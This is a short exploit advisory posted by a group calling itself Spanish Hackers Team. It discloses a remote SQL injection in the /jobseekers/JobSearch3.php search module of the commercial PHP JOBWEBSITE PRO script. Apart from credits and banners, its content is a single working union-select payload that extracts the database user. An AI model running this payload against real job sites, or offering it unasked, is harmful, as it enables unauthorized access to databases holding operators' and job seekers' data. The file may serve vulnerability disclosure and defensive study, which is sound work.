phpjobwebsite-sql.txt

`--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--  
--==+ PHP JOBWEBSITE PRO (JobSearch3.php) Remote SQL Injection Vulnerability +==--  
--==+====================================================================================+==--  
- dreaming of necessity is reason to comply -  
  
  
[+] Info:  
  
[~] Bug found by JosS  
[~] sys-project[at]hotmail.com  
[~] http://www.spanish-hackers.com/  
[~] EspSeC & Hack0wn!.  
  
[~] Software: PHP JOBWEBSITE PRO (payment)  
[~] HomePage: http://www.preproject.com/  
[~] Exploit: Remote SQL Injection [High]  
[~] Vuln file: JobSearch3.php  
  
[~] /jobseekers/JobSearch3.php (search module)  
  
[+] Exploit:  
  
[~] ' and 1=2 union all select 1,2,3,4,5,user(),7,8,9,0,1,2,3,4,5/*  
  
* In memory of rgod  
  
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--  
--==+ JosS +==--  
--==+====================================================================================+==--  
[+] [The End]  
  
`